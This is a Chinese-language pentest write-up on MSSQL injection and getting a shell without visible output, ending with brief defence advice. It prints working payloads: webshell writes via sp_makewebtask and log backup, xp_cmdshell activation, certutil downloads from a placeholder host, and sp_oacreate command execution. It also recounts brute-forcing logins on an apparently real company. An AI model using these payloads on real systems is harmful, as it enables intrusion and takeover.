记一次无回显不出网站库分离
字数 932 2025-08-29 08:31:47
MSSQL注入与无回显Getshell技术详解
一、前期信息收集
-
目标定位:
- 通过扫描二维码获取公司名称
- 使用公司名称进行百度搜索,定位数据中心
- 通过FOFA搜索IP发现旁站
-
账号爆破:
- 使用Burp Suite爆破"常见用户名Top500"
- 成功获取三个账号及其中一个密码
-
系统信息收集:
- 数据库类型:MSSQL 2012
- 权限级别:dbo权限
- 操作系统:Windows 6.2(Server 2012)
二、SQL注入发现与利用
-
注入点发现:
- 密码字段添加单引号触发SQL报错
- 确认存在SQL注入漏洞
-
万能密码登录:
- 使用万能密码进入后台,但仅获得游客权限
三、MSSQL Getshell技术详解
1. Webshell写入技术
1.1 sp_makewebtask方法
-
前提条件:
- dbo或sa权限
- 对目标路径有写权限
- sp_makewebtask扩展存在
-
利用步骤:
';create table cmd (a image)--
';insert into cmd(a) values(0x616263)--
';execute sp_makewebtask @outputfile='D:\test\1.txt','@query='select a from cmd'--
';drop table cmd--
1.2 日志备份(Log Backup)方法
-
前提条件:
- 数据库设置为完整恢复模式
- 知道网站绝对路径
-
利用步骤:
;alter database 数据库名称 set RECOVERY FULL --
;create table cmd (a image) --
;backup log db_name to disk = 'E:\test\test.aspx' with init --
;insert into cmd (a) values ('hex_webshell')--
;backup log 数据库名称 to disk = 'E:\test\test.aspx' --
2. 站库分离判断
- 使用以下命令判断是否为站库分离:
@@servername > 0
select host_name > 0
四、无回显命令执行技术
1. xp_cmdshell扩展
- 启用与使用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE
- 命令执行测试:
;exec master..xp_cmdshell 'ping xxx.dnslog.cn'
;exec master..xp_cmdshell 'certutil -urlcache -f -split http://xxx/'
;exec master..xp_cmdshell 'nslookup xxx.dnslog.cn'
2. sp_oacreate扩展
- 无回显命令执行:
;declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c whoami > c:\\1.txt'
- 结果读取技术:
create table testa(line text);
bulk insert testa from 'c:\\1.txt' with (fieldterminator='n',ROWTERMINATOR='nn');
and 1=(select top 1 * from 数据库名..testa FOR XML PATH(''))
五、常见问题与解决方案
-
无法进行大容量加载:
- 可能原因:命令未执行完成
- 解决方案:等待后重试
-
二进制截断问题:
- 可能原因:字段长度限制
- 解决方案:使用findstr过滤所需内容
六、防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用参数化查询
-
权限控制:
- 遵循最小权限原则
- 限制数据库账户权限
-
安全配置:
- 禁用不必要的存储过程(xp_cmdshell, sp_oacreate等)
- 定期更新和打补丁
-
监控与日志:
- 实施全面的日志记录
- 设置异常行为告警
七、总结
本文详细介绍了MSSQL注入的各种技术手段,特别是在无回显环境下的Getshell方法。从基础的信息收集到高级的命令执行技术,涵盖了实际渗透测试中可能遇到的各种场景。安全人员应了解这些技术以更好地防御,同时强调这些技术仅用于合法授权的安全测试。